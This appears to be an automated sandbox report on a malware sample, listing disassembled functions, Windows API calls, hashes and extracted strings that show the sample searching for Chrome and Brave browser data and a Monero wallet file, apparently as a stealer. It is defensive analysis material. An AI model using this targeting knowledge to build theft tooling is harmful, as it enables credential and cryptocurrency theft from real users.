Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: bd1f11993bed1a340b7ea7d32a22308c37f11c99e2ed894c5ca815283cd72622
Instruction ID: a3f655f1754b25af2bc10f8e5b835fc697128503b1abc4a6bed11342fb9ed7b6
Opcode Fuzzy Hash: bd1f11993bed1a340b7ea7d32a22308c37f11c99e2ed894c5ca815283cd72622
Instruction Fuzzy Hash: A4A182BD522200EFC386DF68EC889163BAEF78E301F40A519E505CB664DF38B449DB64

Function 00124610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0012465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001247EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001247C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001247AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001247B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001247CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124712

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 65671c0a4b3d345c1e3ba487f14202d2ac7ef200e24e68607a7160d12acef304
Instruction ID: 1f6dd2d5b2617855713613c467ee045bf6f023699731511f5db09aaf1f1fa323
Opcode Fuzzy Hash: 65671c0a4b3d345c1e3ba487f14202d2ac7ef200e24e68607a7160d12acef304
Instruction Fuzzy Hash: 0741F4A06C27446FE728BFA4EC42FDD76A7DF437CCF505044A8245A3A1EFB065224DA6

Function 0012BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

FindFirstFileA.KERNEL32(00000000,?,00140B17,00140B16,00000000,?,?,?,00141398,00140B0F), ref: 0012BD35
StrCmpCA.SHLWAPI(?,0014139C), ref: 0012BD8D
StrCmpCA.SHLWAPI(?,001413A0), ref: 0012BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0012C5FF
FindClose.KERNEL32(000000FF), ref: 0012C611

Strings

Google Chrome, xrefs: 0012C474
Brave, xrefs: 0012BF42
\Brave\Preferences, xrefs: 0012C01B
Preferences, xrefs: 0012BF5E

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 60424dbfc8d19dd78e8883b2de327cef975029515783540eb5218013ea492c5e
Instruction ID: 76a1eb6cff018cd6471cdc9f2324a13989df521da58a7366722d61153efe8034
Opcode Fuzzy Hash: 60424dbfc8d19dd78e8883b2de327cef975029515783540eb5218013ea492c5e
Instruction Fuzzy Hash: AD424572910118ABCB14FB70DC96EEE777DAFA4300F804558F94A57191EF34AB58CBA2

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

QPC, xrefs: 6C5A38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
GTC, xrefs: 6C5A3912
AuthcAMDenti, xrefs: 6C5A3946
GenuntelineI, xrefs: 6C5A3639

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 001343F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0013440C
FindFirstFileA.KERNEL32(?,?), ref: 00134423
StrCmpCA.SHLWAPI(?,00140FAC), ref: 00134451
StrCmpCA.SHLWAPI(?,00140FB0), ref: 00134467
FindNextFileA.KERNEL32(000000FF,?), ref: 0013465D
FindClose.KERNEL32(000000FF), ref: 00134672

Strings

%s\%s, xrefs: 00134484
%s\%s, xrefs: 001344DB
%s\*, xrefs: 00134400

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 374fe2269cd0b4d4475eca1d1993be2458e420557f6b053a339a62ef55e09733
Instruction ID: a1ab9df1ddeb5c6f3cdc30836481dadcb4aae2b03d99c5832dde95ea36da3393
Opcode Fuzzy Hash: 374fe2269cd0b4d4475eca1d1993be2458e420557f6b053a339a62ef55e09733
Instruction Fuzzy Hash: 766154B5910218ABCB25EBA0DC45EEA777CBB59701F008598F60997150EF74BB88CFA1

Function 001339B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001339D3
FindFirstFileA.KERNEL32(?,?), ref: 001339EA
StrCmpCA.SHLWAPI(?,00140F7C), ref: 00133A18
StrCmpCA.SHLWAPI(?,00140F80), ref: 00133A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00133B7C
FindClose.KERNEL32(000000FF), ref: 00133B91

Strings

%s\%s, xrefs: 001339C7

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b255078be482c2f9211c3f83935e7c4ec74be4b525ebaa9f09ba970001bd29ea
Instruction ID: e7bbb0e0a27557d0d6358f2751319c8e64fe7db0cc2150acffa1c04ff35ea2d0
Opcode Fuzzy Hash: b255078be482c2f9211c3f83935e7c4ec74be4b525ebaa9f09ba970001bd29ea
Instruction Fuzzy Hash: 065198B5900218ABCB25EBB0DC85EEA773CBF59300F4085D8B65997050DF74AB88CFA4

Function 0012F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0014155C,00140D7E), ref: 0012F55E
StrCmpCA.SHLWAPI(?,00141560), ref: 0012F5AF
StrCmpCA.SHLWAPI(?,00141564), ref: 0012F5C5
